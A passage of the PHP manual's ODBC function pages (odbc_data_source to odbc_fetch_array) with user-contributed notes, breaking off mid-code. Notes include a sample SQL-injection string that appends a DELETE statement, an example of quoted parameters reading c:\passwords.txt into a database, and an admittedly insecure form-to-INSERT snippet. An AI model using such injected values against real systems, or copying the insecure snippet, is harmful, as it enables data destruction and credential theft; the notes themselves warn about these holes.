fetch_type

The fetch_type can be one of two constant types: SQL_FETCH_FIRST, SQL_FETCH_NEXT. Use SQL_FETCH_FIRST the first time this function is called, thereafter use the SQL_FETCH_NEXT.

返回值

Returns false on error, an array upon success, and null after fetching the last available DSN.

示例

Example #1 List available DSNs

<?php
$conn = odbc_connect('dsn', 'user', 'pass');
$dsn_info = odbc_data_source($conn, SQL_FETCH_FIRST);
while ($dsn_info) {
print_r($dsn_info);
$dsn_info = odbc_data_source($conn, SQL_FETCH_NEXT);
}
?>

以上示例的输出类似于：

Array
(
    [server] => dsn
    [description] => ODBC Driver 17 for SQL Server
)
Array
(
    [server] => other_dsn
    [description] => Microsoft Access Driver (*.mdb, *.accdb)
)

User Contributed Notes

There are no user contributed notes for this page.


别名 odbc_exec

  • ? odbc_data_source
  • odbc_error ?
  • PHP Manual
  • ODBC 函数
  • 别名 odbc_exec

odbc_do

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_do — 别名 odbc_exec()

说明

此函数是该函数的别名： odbc_exec().

User Contributed Notes

scottmweaver 01-Jun-2007 03:27
Hey guys,

I used the following code to run normal double quotes inside my SQL queries. Hopefully this will save someone else a headache or two-

<?php

    /**
     * Query Function
     * Allows quoted queries to be sent to SQL
     */

    function query($query, $conn)
    {
        odbc_do($conn, 'SET QUOTED_IDENTIFIER OFF');
        return odbc_do($conn, $query);
    }
?>
phil.nyc 04-Dec-2006 07:23
To clear up: the SQL standard requires strings to be inside single quotes: 'string'.  It simply does not accept double quotes for this purpose.

Furthermore, in PHP, you can have a single quote inside double quotes: "select a from b where c = 'string'" without the need to escape.
yashkhopade at hotmail dot com 10-Jul-2003 03:53
i have use this function so many times. it works well for my requirements. ok well done...

<?php
         $sqlstr="SELECT bill_no FROM SCROL";
         $queryresult=odbc_do($conn,$sqlstr);
         odbc_fetch_row($queryresult,$bills);

        // if we want to access the records
        // then we have to write the following code

        echo $bills[0];

?>

the out put for this will:

 1
which is actullay first record of resultset.


Get the last error code

  • ? odbc_do
  • odbc_errormsg ?
  • PHP Manual
  • ODBC 函数
  • Get the last error code

odbc_error

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

odbc_error — Get the last error code

说明

odbc_error(?resource $odbc = null): string

Returns a six-digit ODBC state, or an empty string if there has been no errors.

参数

odbc

ODBC 连接标识符，详见 odbc_connect()。

返回值

If odbc is specified, the last state of that connection is returned, else the last state of any connection is returned.

This function returns meaningful value only if last odbc query failed (i.e. odbc_exec() returned false).

更新日志

版本 | 说明
8.0.0 | odbc is nullable now.

参见

  • odbc_errormsg() - Get the last error message
  • odbc_exec() - Directly execute an SQL statement

User Contributed Notes

Dan 23-Jan-2014 04:47
On persistent connections, a  failed T-SQL will allow odbc_error and odbc_errormsg to return the error, but a subsequent successful T-SQL will not clear the error.  Is it a bug?
sunil_limje at indiatimes dot com 18-Jul-2003 03:06
I have use this function, its very simple and cute.
with IBM DB2
<?php
         // you must set the connection first
         if (odbc_error())
         {
               echo odbc_errormsg($conn);
         }
         // if you want to show the perfect error message
         // then format it using string functions.
?>
Have a good day!
Sergio Sartori 03-Apr-2003 09:56
Using IBM DB2 V7.1 and MS SQL Server 7 ODBC database connections.
Print the result of odbc_error() or odbc_errormsg() after each call to an odbc_ function that gives no error and, sooner or later, you'll get garbage instead of a blank string!
aaronbair at hotmail dot com 08-Mar-2002 08:26
If you use an argument, make sure its the CONNECTION_ID and not the RESULT_ID.

Testing the result can return a null string or sometimes a garbage string.

# -- Example code  --
$rs = odbc_exec($dbc, $sql);

#this is wrong but won't error out until
#you demo the page for a client!
  if (odbc_error($rs)) die(...);

#these work
  if (odbc_error()) die(...);
  if (odbc_error($dbc)) die(...);


Get the last error message

  • ? odbc_error
  • odbc_exec ?
  • PHP Manual
  • ODBC 函数
  • Get the last error message

odbc_errormsg

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

odbc_errormsg — Get the last error message

说明

odbc_errormsg(?resource $odbc = null): string

Returns a string containing the last ODBC error message, or an empty string if there has been no errors.

参数

odbc

ODBC 连接标识符，详见 odbc_connect()。

返回值

If odbc is specified, the last state of that connection is returned, else the last state of any connection is returned.

This function returns meaningful value only if last odbc query failed (i.e. odbc_exec() returned false).

更新日志

版本 | 说明
8.0.0 | odbc is nullable now.

参见

  • odbc_error() - Get the last error code
  • odbc_exec() - Directly execute an SQL statement

User Contributed Notes

There are no user contributed notes for this page.


Directly execute an SQL statement

  • ? odbc_errormsg
  • odbc_execute ?
  • PHP Manual
  • ODBC 函数
  • Directly execute an SQL statement

odbc_exec

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_exec — Directly execute an SQL statement

说明

odbc_exec(resource $odbc, string $query): resource|false

Sends an SQL statement to the database server.

参数

odbc

ODBC 连接标识符，详见 odbc_connect()。

query

The SQL statement.

返回值

Returns an ODBC result identifier if the SQL command was executed successfully, or false on error.

更新日志

版本 | 说明
8.0.0 | flags was removed.

参见

  • odbc_prepare() - Prepares a statement for execution
  • odbc_execute() - Execute a prepared statement

User Contributed Notes

test 07-Nov-2017 03:50
If eval() is the answer, you're almost certainly asking the wrong question.
petercdow at gmail dot com 14-Oct-2013 01:54
An SQL statement that contains quotes (i.e. ") instead of apostrophes (i.e. ') to delimit strings works fine in Access, however, in odbc_exec, it fails with

[Microsoft][ODBC Microsoft Access Driver] Too few parameters. Expected 6.

For example:

$q = "INSERT INTO TableA (Fld1, Fld2, Fld3) VALUES('A', 'B', 'C');"

works fine in both Access and ODBC, but

$q = 'INSERT INTO TableA (Fld1, Fld2, Fld3) VALUES("A", "B", "C");'

fails with the above error.
mir eder 28-Aug-2007 03:39
If you are having problems with truncated text fields from ODBC queries (pe. at 4096 characters), try some of the following:

in php.ini:
- odbc.defaultlrl = 65536

in your php code, before your queries:
- ini_set ( 'odbc.defaultlrl' , '65536' );
delowing gmail dot com 27-Sep-2006 08:19
It is easy to inject evil code into SQL statements. This wraps parameters in quotes so they are not executable. In your own stored procedures you can convert the string to numeric as needed.

function sql_make_string($sin){
         return "'".str_replace("'","''",$sin)."'";
}

// this may delete all data from MYTABLE
$evil = "734'; DELETE FROM MYTABLE; print 'ha ha";
$sql = "SELECT * FROM MYTABLE WHERE mykey = '$evil'";
$rst = odbc_exec($connection,$sql);

// this probably will not delete the data.
$good = sql_make_string($evil);
$sql = "SELECT * FROM MYTABLE WHERE mykey =".$good
$rst = odbc_exec($connection,$sql);
30-Aug-2005 06:18
The following seems counterintuitive to me and so I am constantly getting burned by it.  Just thought I'd add a note for anyone else who might also get burned.

  if (!odbc_exec("select MyValue from MyTable where Key1='x' and Key2='y'"))

is not a good way to search for the existence of a record with Key1 = x and Key2 = y.  The odbc_exec always returns a result handle, even though there aren't any records.

Rather, you must use one of the fetch functions to find out that the record really doesn't exist.  This should work:

  if (!($Selhand = odbc_exec("select MyValue from MyTable where Key1='x' and Key2='y'"))
    || !odbc_result($Selhand, 1))
fuadMD at gmail dot com 24-May-2005 12:34
<?php
// - This is a complete working dynamic example of using:
//    odbc_connect, odbc_exec, getting col Names,
//    odbc_fetch_row and no of rows. hope it helps
// - your driver should point to your MS access file

$conn = odbc_connect('MSAccessDriver','','');

$nrows=0;

if ($conn)
{
$sql =  "select * from $month";
//this function will execute the sql satament
$result=odbc_exec($conn, $sql);

echo "<table  align=\"center\" border=\"1\" borderColor=\"\" cellpadding=\"0\" cellspacing=\"0\">\n";
echo "<tr> ";
// -- print field name
$colName = odbc_num_fields($result);
for ($j=1; $j<= $colName; $j++)
{
echo "<th  align=\"left\" bgcolor=\"#CCCCCC\" > <font color=\"#990000\"> ";
echo odbc_field_name ($result, $j );
echo "</font> </th>";
}
$j=$j-1;
$c=0;
// end of field names
while(odbc_fetch_row($result)) // getting data
{
 $c=$c+1;
 if ( $c%2 == 0 )
 echo "<tr bgcolor=\"#d0d0d0\" >\n";
 else
 echo "<tr bgcolor=\"#eeeeee\">\n";
    for($i=1;$i<=odbc_num_fields($result);$i++)
      {
        echo "<td>";
        echo odbc_result($result,$i);
        echo "</td>";
        if ( $i%$j == 0 )
           {
            $nrows+=1; // counting no of rows
          }
      }
    echo "</tr>";
}

echo "</td> </tr>\n";
echo "</table >\n";
// --end of table
if ($nrows==0) echo "<br/><center> Nothing for $month yet! Try back later</center>  <br/>";
else echo "<br/><center> Total Records:  $nrows </center>  <br/>";
odbc_close ($conn);

}
else echo "odbc not connected <br>";
?>
james @ php-for-beginners co uk 18-Mar-2005 04:54
hi all, I managed to get this little snippet working, it's pretty useful if you have long forms to be inserted into a database.

if ( ! empty ( $_POST ) ){
array_pop($_POST);
 foreach($_POST as $key => $val){
  $columns .= addslashes($key) . ", ";
    $values .= "'" . addslashes($val) . "', ";

 }
 $values = substr_replace($values, "", -2);
 $columns = substr_replace($columns, "", -2);

 $sql = "INSERT INTO table ($columns) VALUES ($values)";
 echo $sql;
 $results = odbc_exec($conn, $sql);
                 if ($results){
              echo "Query Executed";
                }else {
              echo "Query failed " .odbc_error();
            }
}

Not the most secure in the world but, speeds up collecting data from large forms.
Sean Boulter 21-Apr-2004 05:28
If a single quote exists within the field specified by your WHERE statement, ODBC fails because of a parsing error.  Although it seems intuitive, using \" around the field does not work (\"$var\").  The only solution I found was to replace all single quotes in my field with two single quotes.  ODBC interprets the first single quote as an escape character and interprets the second single quote as a literal.  Thanks to http://www.devguru.com/features/knowledge_base/A100206.html for this tip.
rob at vendorpromotions dot com 17-Jun-2003 01:29
This opens select statements 'for update' by default in db2.  If you're using db2, you have to tack on 'for read only' at the end to select from SYSCAT.TABLES, for example, without firing an error like

Warning: SQL error: [IBM][CLI Driver][DB2/LINUX] SQL0151N The column "MAXFREESPACESEARCH" cannot be updated. SQLSTATE=42808 , SQL state 42808 in SQLExecDirect

For example :

$query = odbc_exec($conn, "select * from syscat.tables for read only");
odbc_result_all($query);

will work (only for db2).  I don't know about other databases.

The select statement will work in the 'db2' command line, but not in php, because of this side effect.
rupix at rediffmail dot com 05-Apr-2003 07:05
I tried the following line of code

<?php
$odbc=odbc_connect("pbk", "root","") or die(odbc_errormsg());
$q="insert into pbk values(\"$name\", \"$phone\")";
print $q;
odbc_exec($odbc, $q) or die("<p>".odbc_errormsg());
?>

it does not work. However if I use single quotes instead of \" the thing runs smoothly

thus the following would work

<?php
$odbc=odbc_connect("pbk", "yourworstnightmare","abracadabra") or die(odbc_errormsg());
$q="insert into pbk values('$name', '$phone')";
print $q;
odbc_exec($odbc, $q) or die("<p>".odbc_errormsg());
?>

Also having a user dsn is no good on win2k. Always have a System DSN. I don't know yet what are the implications of the same.
das_yrch at hotmail dot com 07-Mar-2003 03:17
I tried this way to see the results of a query and it works!!

$Conn = odbc_connect
("bbdd_usuaris","","",SQL_CUR_USE_ODBC );

$result=odbc_exec($Conn,"select nom from usuaris;");

while(odbc_fetch_row($result)){
         for($i=1;$i<=odbc_num_fields($result);$i++){
        echo "Result is ".odbc_result($result,$i);
    }
}
miguel dot erill at doymer dot com 23-Jul-2002 03:33
In a previous contribution it was told that if you're running NT/IIS with PHP 3.0.11 you can use MS Access dbs "stored procedures".

That was right, but if those stores procedures have parameters you have to supply them in the command line like this:

$conn_id = odbc_connect( "odbc_test_db", "","", SQL_CUR_USE_DRIVER );
$qry_id = odbc_do( $conn_id, "{CALL MyQuery(".$param.")}" );
martin at NOSPAMkouba dot at 05-Feb-2002 08:37
"[Microsoft][ODBC Microsoft Access Driver] Too few
parameters. Expected 1."

this not so clear to understand error comes when using access-odbc and a field name can't be found. check for correct spelling of fields.
lee200082 at hotmail dot com 21-Jan-2002 05:07
As an addition to the note about square brackets earlier:

Enclosing sql field names in '[' and ']' also allows you to use MS Access reserved words like 'date' and 'field' and 'time' in your SQL query... it seems that the square brackets simply tell Access to ignore any other meaning whatever is inside them has and take them simply as field names.
sk2xml at gmx dot net 21-Nov-2001 06:15
Problem: Fieldnames in SQL-Statement have blanks and [] don't work!

Solution: Try "" instead

Ex.:

SELECT table2.first, table1.[last name] FROM tabel1, table2 -> don't work

SELECT table2.first, table1.\"last name\" FROM tabel1, table2 -> Try this

PS: Don't forget the espace characters !!!
akchu at at ualberta dot ca 07-Jan-2001 08:41
ODBC/MS Access Date Fields:

Matching dates in SELECT statements for MS Access requires the following format:
#Y-m-d H:i:s#

for example:

SELECT * FROM TableName WHERE Birthdate = #2001-01-07 00:00:00#

or

SELECT * FROM TableName WHERE Birthdate BETWEEN #2000-01-07 00:00:00# AND #2001-01-07 00:00:00#

This took me forever to figure out.
vpil at retico dot com 06-Nov-2000 06:24
Additional links to ODBC_exec:
How to actually write the SQL commands:
http://www.roth.net/perl/odbc/faq/
http://www.netaxs.com/~joc/perl/article/SQL.html
Demystifying SQL
BIG REF MANUAL:
http://w3.one.net/~jhoffman/sqltut.htm
Introduction to Structured Query Language
Covers read, add, modify & delete of data.
phobo at at at paradise dot net dot nz 02-Nov-2000 06:26
If Openlink -> MS Access Database fails and gives "Driver Not Capable" error or "No tuples available" warning, use the SQL_CUR_USE_ODBC cursor when using odbc_connect()...

Siggy
andreas dot brunner at rubner dot com 07-Jul-2000 04:54
I wanted to access an MSAccess database via ODBC. The connection functioned without problems, but when I placed a SQL statement into my odbc_exec() i always got an error:
Warning: SQL error: [Microsoft][ODBC Driver Manager] Driver does not support that function, SQL state IM001 in SQLSetStmtOption in \\Server\directory/test.php3 on line 19.

Resolved my problem by myself: i simply had to install a new odbc-driver from the microsoft homepage.
gross at arkana dot de 28-Oct-1999 06:03
If you're running NT/IIS with PHP 3.0.11 and want to use MS Access dbs with "stored procedures" you can send an ODBC SQL query like:
<?php
$conn_id = odbc_connect( "odbc_test_db", "", "", SQL_CUR_USE_DRIVER );
$qry_id = odbc_do( $conn_id, "{CALL MyQuery}" );
?>
This way you don't need to integrate query strings like

SELECT * FROM TblObject WHERE (((TblObject.something) Like "blahblahblah"));

in the php file. You directly call the query "MyQuery" that was generated by MS Access.
rmkim at uwaterloo dot ca 25-Aug-1999 11:13
for Win32(NT) and MSAcess 2000, whenever you retrieve a date column/field, php will automatically convert it to 'yyyy/mm/dd hh:mm:ss' format regardless of the style of date you've denoted in Access.
This seems to pose a problem when you exec SELECT, UPDATE, or DELETE queries, but strangley INSERT works fine. I've tried parsing the date into the desired format, but php still yells criteria mismatch.


Execute a prepared statement

  • ? odbc_exec
  • odbc_fetch_array ?
  • PHP Manual
  • ODBC 函数
  • Execute a prepared statement

odbc_execute

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_execute — Execute a prepared statement

说明

odbc_execute(resource $statement, array $params = []): bool

Executes a statement prepared with odbc_prepare().

参数

statement

The result id resource, from odbc_prepare().

params

Parameters in params will be substituted for placeholders in the prepared statement in order. Elements of this array will be converted to strings by calling this function.

Any parameters in params which start and end with single quotes will be taken as the name of a file to read and send to the database server as the data for the appropriate placeholder.

If you wish to store a string which actually begins and ends with single quotes, you must add a space or other non-single-quote character to the beginning or end of the parameter, which will prevent the parameter from being taken as a file name. If this is not an option, then you must use another mechanism to store the string, such as executing the query directly with odbc_exec()).

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 odbc_execute() and odbc_prepare() example

In the following code, $success will only be true if all three parameters to myproc are IN parameters:

<?php
$a = 1;
$b = 2;
$c = 3;
$stmt = odbc_prepare($conn, 'CALL myproc(?,?,?)');
$success = odbc_execute($stmt, array($a, $b, $c));
?>

If you need to call a stored procedure using INOUT or OUT parameters, the recommended workaround is to use a native extension for your database (for example, oci8 for Oracle).

参见

  • odbc_prepare() - Prepares a statement for execution

User Contributed Notes

dj at magma dot nz 09-Jan-2019 07:07
When using odbc_execute to an MS Access database use single quotes (not double quotes) for literal string definitions.

e.g. $sql = "Insert into [table] ([first], [last]) select 'Bob', 'Builder';"

If you use double quotes you may end up with an error like: [Microsoft] [ODBC Text Driver] Too few parameters. Expected: 2
vince at dinapoliwest dot com 13-Jun-2016 08:48
I've been using odbc functions for quite a while and I was floored when I finally read the details about the how the parameters are handled when they start and end with single quotes! I assumed that the main reason for odbc_execute vs. odbc_exec was to prevent sql injection but apparently this added feature actually opens another security hole, perhaps worse. This was my fix:

<?php

function odbc_execute_clean_parameters($result_id, $parameters_array){
  for($i = 0; $i < count($parameters_array); ++$i){
    if( substr($parameters_array[$i], -1) == "'" && substr($parameters_array[$i], 0 ,1) == "'" ){
      $parameters_array[$i].= " ";
    }
  }
  return odbc_execute($result_id, $parameters_array);
}

// then call
$stmt = odbc_prepare($conn, " insert into mytable (col1, col2) values (?, ?) ");
$r = odbc_execute_clean_parameters($stmt, array( $val1, $val2 ) );

?>
Marco Napetti 25-Oct-2012 10:18
To use prepared with select queries, the right way is:
<?PHP

$rConnection = odbc_connect('AS400', 'QSECOFR', 'QSECOFR');
if($rConnection === false) {
    throw new ErrorException(odbc_errormsg());
}

$rResult = odbc_prepare($rConnection, 'SELECT * FROM KMNSH00F WHERE SHTMST > ?');
if($rResult === false) {
    throw new ErrorException(odbc_errormsg());
}

if(odbc_execute($rResult, array('0001-01-01 00:00:00.000000')) === false) {
    throw new ErrorException(odbc_errormsg());
}

odbc_result_all($rResult);

odbc_free_result($rResult);

odbc_close($rConnection);

?>
alvaro at demogracia dot com 20-Dec-2011 05:16
When odbc_execute() fails it returns FALSE and triggers a warning but it will not necessarily feed odbc_error() and odbc_errormsg().
anonymous 29-Apr-2009 11:32
if you can't use php_mssql module in your environment (suse linux, apache2, php5, FreeTDS, unixODBC) an alternative is to use sql server functions instead of procedures. here is my sample code.

<?php
  $connect        = odbc_connect($myDB, $myUser, $myPass);

  $query = "SELECT dbo.<function>(<column>,<text>) alias";

  // perform the query
  $result = odbc_exec($connect, $query);

  while(odbc_fetch_row($result)) {
    $Var1    = odbc_result($result, <column alias>);
    //echo "Var1: " . $Var1 . "<br>";

        // add additional logic

  }
?>

Once I figured this out, my app worked perfectly.
jeroen at pyromanic dot nl 05-Jun-2008 01:05
If you want to use stored procedures with MSSQL over ODBC, please read

http://www.sitepoint.com/article/php-microsoft-sql-server/2

It can you save lots of time ;)
traynor at uni hyphen hannover dot de 08-Nov-2007 06:09
Obdc_prepare and obdc_execute can only be used as an alternative to odbc_exec in limited circumstances:

$con = obdc_connect ($dsn, $user, $pass);
$sql = "select * from TABLE";

$result = obdc_exec ($con, $sql); //this line can be replaced as blow
//then to see results:

odbc_result_all ($result);
odbc_free_result ($result);
odbc_close ($con);

gives the same result with the middle line as:

$result = odbc_prepare ($con, $sql);
odbc_execute ($result);

as long as $sql contains a well formed and complete query.

There is no point in trying to convert this into a parameter query with question marks as placeholders, since code like this will result only in error messages:

$sql = "select * from TABLE where needle = ?";
$result = odbc_prepare ($con, $sql);
for ($i = 0; $i < 4; $i++)
{
  odbc_execute ($result, array ($i));
  // and whatever you want to do with the result
  // but all you get is "parameter expected" or "count does not match"
}

The lack of documentation for such functions should have been an alarm signal.
a dot brock at hhv-rheinklang dot de 24-Aug-2006 04:38
I have a solution for the problem with the strings beeing interpreted as filename because of the single quotes:

Just add a blank to the end of the string:

<?php
function odbc_escape_params ($params) {
 if (!is_array($params) or empty($params)) {
  return array();
 }
 foreach ($params as $key=>$val) {
  if (strlen($val) > 1 and $val{0} == "'" and $val{strlen($val)-1} == "'") {
   $params[$key] .= ' ';
  }
 }
 return $params;
}
?>
mjs at beebo dot org 27-Mar-2006 01:57
Don't miss the part where it says that if your string starts and ends with a single quote, the string is interpreted as a filename!

This means that you can't do:

$sth = odbc_prepare($dbh, "INSERT INTO people(name) VALUES(?)");
$res = odbc_execute($sth, array($name));

without checking the value of $name--if $name is, say, '\\'c:\\passwords.txt\\'' the contents of c:\\passwords.txt get inserted into your database as a "name".

Also, despite what the documentation suggests, there (incredibly) doesn't appear to be any way to escape your single quotes (via experimentation, and from reading the source): if your string starts and ends with a single quote you cannot use odbc_execute to insert it into the database.
russell dot brown at removethis dot insignia dot com 09-Feb-2004 12:55
In reply to tcmleung at yahoo dot com (09-Nov-2001), I would add a caveat that I've found, which is that the odbc.defaultlrl/odbc_longreadlen() values may only apply to odbc->php conversion and not php->odbc (though this may be database-specific). Hence, if you want to post binary data the 4096 byte limit still stands. So you stand a better chance of being able to post binary data using the quoted filename upload procedure described above, rather than using the prepare... execute method with data held in a php variable.
svemir_AT_baltok.com 06-Sep-2002 10:45
In reply to cpoirier's note from 04-Mar-2001 03:30:

Currently, Access 2000 DOES support parametrized queries via ODBC. It still seems to have a problem with Memo and OLE fields, but "normal" types work just fine.
tcmleung at yahoo dot com 09-Nov-2001 01:22
odbc has a maximum buffer size, that means it only stores and retrieves a limited size of data to/from database each time. The maximum buffer size is 4096 and set in php.ini (odbc.defaultlrl). You can set it to higher value for larger data access.
sjericson at mindspring dot com 25-Aug-2001 10:43
I don't think odbc_prepare and odbc_execute support output parameters for stored procedures on MSSQL.  An example of output parameters for MSSQL is at  http://support.microsoft.com/support/kb/articles/q174/2/23.asp

Also, my MSSQL driver seems happy only when I use the following incantation:

...code removed...
$stmt=odbc_prepare($conn_id, "exec my_proc_name ?,?,?");
$parms=array("fred","password",5);
if (!odbc_execute($stmt, &$parms)) die("odbc_execute failed");
reaganpr at hotmail dot com 23-Jul-2001 04:50
When running the CGI version of 4.0.6 under windows, I came across this error when trying to call a stored procedure in SQL Server using odbc_execute w/ the parameter array set:

FATAL:  emalloc():  Unable to allocate 268675669 bytes

Scary error, huh? In my case it just meant that SQL Server couldn't find the stored procedure.  Totally my fault, but a rather nondescript error message.

p.
cpoirier at shelluser dot net 04-Mar-2001 02:30
A quick note in hopes that my pain will save someone else:  Microsoft Access ODBC drivers do not support parameterized queries.
edrenth at thematec dot nl 17-Oct-2000 06:17
When used with parameters and the statement fails, you cannot use different arguments anymore, the same arguments as with the failed statement will be used.
wntrmute at tampabay dot rr dot com 15-Aug-1998 09:22
Solid Issue:
Solid defines CHAR, VARCHAR, LONG VARCHAR, BINARY, VARBINARY, and LONG VARBINARY to be a maximum of 2G in length.  However, when creating your tables for use with PHP one should choose LONG VARCHAR or LONG VARBINARY for these kinds of fields if you are planning on storing really large or lengthy data.  IE: Data exceeding 64k in length such as GIF/JPG, or really huge text areas.


Fetch a result row as an associative array

  • ? odbc_execute
  • odbc_fetch_into ?
  • PHP Manual
  • ODBC 函数
  • Fetch a result row as an associative array

odbc_fetch_array

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

odbc_fetch_array — Fetch a result row as an associative array

说明

odbc_fetch_array(resource $statement, int $row = -1): array|false

Fetch an associative array from an ODBC query.

参数

statement

The result resource from odbc_exec().

row

Optionally choose which row number to retrieve.

返回值

Returns an array that corresponds to the fetched row, or false if there are no more rows.

注释

Note: This function exists when compiled with DBMaker, IBM DB2 or UnixODBC support.

参见

  • odbc_fetch_row() - Fetch a row
  • odbc_fetch_object() - Fetch a result row as an object
  • odbc_num_rows() - Number of rows in a result

User Contributed Notes

eion at robbmob dot com 09-Aug-2022 09:56
This function can also return 'false' if there was a row with corrupt data (eg bad binary data or invalid locale data) depending on what ODBC driver you're connecting to.  Subsequent calls to odbc_fetch_array() will still return results in those cases.

Either compare the number of rows fetched using the odbc_num_rows() function (if the driver provides such data), or verify that there's not some extra data after the failing rowduring your while loops:

<?php
// Allow for up to two sequential rows of bad/corrupt data
while(($row = odbc_fetch_array($res)) || ($row = odbc_fetch_array($res)) || ($row = odbc_fetch_array($res))) {
    var_dump($row);
}
?>

Seen in the wild when using PHP's ODBC to talk to Informix and Foxpro databases.
dinchu at gmail dot com 12-Nov-2014 03:28
I've found an issue while working with php ODBC functions. odbc_fetch_array and odbc_fetch_object fail when query has a join with a table that has the same column name, even when that certain field is excluded from the field selection (With SQL SERVER):

THIS ONLY HAPPENS WHEN USING SQL_CUR_USE_ODBC

for example

$con = odbc_connect("Driver={SQL Server Native Client 11.0};Server=$serverName;Database=$db;", 'user', 'pass',SQL_CUR_USE_ODBC);

$query="SELECT table1.field1, table1.field2 from table1 JOIN table2 ON  table1.field1=table2.field1";

$result = odbc_exec($con,$query);

 $a=odbc_fetch_array($result);
the code above generates a warning:

Warning: odbc_fetch_array() [function.odbc-fetch-array]: SQL error: [Microsoft][SQL Server Native Client 10.0][SQL Server]the column name '' is ambiguous., SQL state 37000 in SQLGetData

The error would be okay if i had selected field1 without specifying from which table, but even when it is explicit it doesn't work. the only "workaround" i've found so far is to remove the field from the selected fields or changinf the field name from the second table

I tried with: both SQL Server Native Client 10.0 and SQL Server Native Client 11.0 SQL server 2008 Php 5.3.2 over Windows

PD: If someone has any aideas without using sqlsrv or mssqL extension it will be great
Vadim Istratov 10-Nov-2010 04:21
Be careful while using this function with MSSQL for fetching results of SQL queries like following: "SELECT * FROM table". In this case array will NOT contain named indexes!

I.e.:
Table:
------------------------
| col1 | col2 | col3  |
------------------------
|   1   |   2   |   3   |
------------------------
|   4   |   5   |   6   |
------------------------

Code:
---------------------
<?php
$query = "SELECT * FROM table";
$res = odbc_exec($query);

while( $row = odbc_fetch_array($res) ) {
    print_r($row);
}
?>
---------------------

Output will be:
---------------------
Array(
 [0] => 1,
 [1] => 2,
 [2] => 3
)
Array(
 [0] => 4,
 [1] => 5,
 [2] => 6
)
---------------------

No field names here!
James Auxier 27-Mar-2009 10:30
Some interesting behavior was discovered while attempting simultaneous queries to a MS SQL server through the ODBC/freeTDS layer on SUSE on a persistent connection with ODBC cursors enabled. Stepping through the first resource with odbc_fetch_array() in a while loop works as expected, but calls to subsequently created resources within that loop were failing to return data where MySQL equivalents to the script were working just fine.

I found that adding a num_rows function call [custom function that simply steps through the result set... the misbehavior of odbc_num_rows() is another matter] immediately following each odbc_exec() then resetting the cursor seemed to cache the results for proper performance of the multiple active result sets.  It may be slightly slower than the MySQL equivalent, but at least it works.
michael dot buergi at zhdk dot ch 08-May-2008 02:30
I use an odbc connection to a mssql2000 db. As long as I had set ansi_warnings on, I occasionnally got the last record twice when retrieving them with odbc_fetch_array or odbc_fetch_row and odbc_result.
bryant at zionprogramming dot com 20-Mar-2008 03:04
I found the function submitted by jezndiatyahoodotcodotuk to be very helpful.  I'm using PHP 5.2.5 and this function isn't defined, so it may depend on the ODBC driver being used.

The only problem with the solution already posted is that the return values don't match the ones specified by the documentation.  I made the following modification so that the function will work the same whether it exists internally or not:

<?php
if (!function_exists('odbc_fetch_array')) {
    function odbc_fetch_array($result, $rownumber=null) {
        $array = array();
        if (!($cols = odbc_fetch_into($result, $result_array, $rownumber))) {
            return false;
        }
        for ($i = 1; $i <= $cols; $i++) {
            $array[odbc_field_name($result, $i)] = $result_array[$i - 1];
        }
        return $array;
    }
}

?>
luke at croslow dot com 23-Jul-2007 10:18
On IBM DB2 for iSeries I have to specify a specific row number to retrieve. If I don't specify the row number, the behavior is erratic.

This seems to work:

<?php
for($i=1;$row=odbc_fetch_row($result,$i);$i++) {
  //use $row
}
?>

The row count MUST start at 1 or else the behavior seems undefined; i.e., when I start from 0 some rows might be returned two or more times or not at all.
robincw at gnospammail dot com 09-Jan-2007 04:46
I am using MS SQL Server 2005, and using odbc_connect with SQL_CUR_USE_ODBC.

I had a problem with odbc_fetch_array when getting results from a stored procedure that returns a text column. The misleading error I got was:

odbc_fetch_array() [function.odbc-fetch-array]: SQL error: [Microsoft][ODBC Cursor Library] Result set was not generated by a SELECT statement, SQL state SL004 in SQLGetData

Eventually I found that by converting the text column in my database to varchar(8000), it worked fine. Perhaps using CONVERT or CAST might have worked too. I also found that varchar(max) columns were scrambled.
tim at tmcode dot com 15-Sep-2005 08:07
Depending on the odbc driver/operating system you are using,  odbc_fetch_array might not be defined. (ie if you used --with-custom-odbc you may be out of luck).   The following can be safely added to define the odbc_fetch_array function if doesn't exist already.  Unlike some of the other examples contributed here, this one will create the numeric keys and the text keys.   This function is definitely not very optimal because it has to check the number of fields and field names each time a row is pulled.  Often you will be looping through a result set and there is no need to pull this information each time.  It could probably be improved by caching the result of these functions but I'll leave that as an exercise for someone else... :)

if(!function_exists("odbc_fetch_array"))
{

    function odbc_fetch_array($res)
    {
        // make sure to pass back the false if we are out of rows
        if(!odbc_fetch_row($res)) return false;

        $row=array();

        // populate the row array
        $numfields=odbc_num_fields($res);
        for($i=1; $i<=$numfields; $i++)
        {
            //odbc starts its indice at 1 but since I am
            // trying to emulate the functionality of *_fetch_array
            // for other dbs (ie mysql)  I'm going to decrement my
            // my numeric indice by 1.  This might not be what
            // you are after in which case get rid of the -1
            $row[odbc_field_name($res,$i)]=$row[$i-1]=odbc_result($res,$i);

        }
        return $row;
    }

}
Remy 12-Apr-2005 05:35
I use this function to get my recordset in an array, and it's very easy to use.

function dbquery($sql) {
  $arr    = array();
  $conn = odbc_connect('dsn','user','pass');
  $rs     = odbc_exec($conn,$sql);
  $x      = 1;
  while (odbc_fetch_row($rs)) {
    for ($y = 1; $y <= odbc_num_fields($rs); $y++)
      $arr[$x][$y] = odbc_result($rs,$y);
    $x++;
  }
  if ($x > 1)
    return $arr;
}

usage:

$arr=dbquery("SELECT * FROM tblTable");
echo $arr[1][1] //echo's first column of the first row
philip 21-Mar-2005 08:03
This function requires one of the following to exist: Windows, DB2, or UNIXODBC.
miles at e-clipseconsulting dot com 15-Dec-2004 01:47
In response to Sena's post, odbc_num_rows does not always return a row count.  When executing a query on MS Access it seems to return a row count of -1.

<?php

while(odbc_num_rows($myodbcexec)){
       $myarray[] = odbc_fetch_array($myodbcexec);
}

?>

Just something to watch out for when attempting to execute this code.

Miles Phillips
e-Clipse Consulting
russ at russprince dot com 11-Nov-2004 06:57
I really liked Ryan's example so I took it another step and added a recordset class to work with the connection class.  I made slight alterations to the original code as well.  Also note the recordset class takes advantage of php5's __get property function...

<%
class odbcRecordset {
   var $recordcount;
   var $currentrow;
   var $eof;

   var $recorddata;
   var $query;

   function odbcConnection(){
      $this->recordcount = 0;
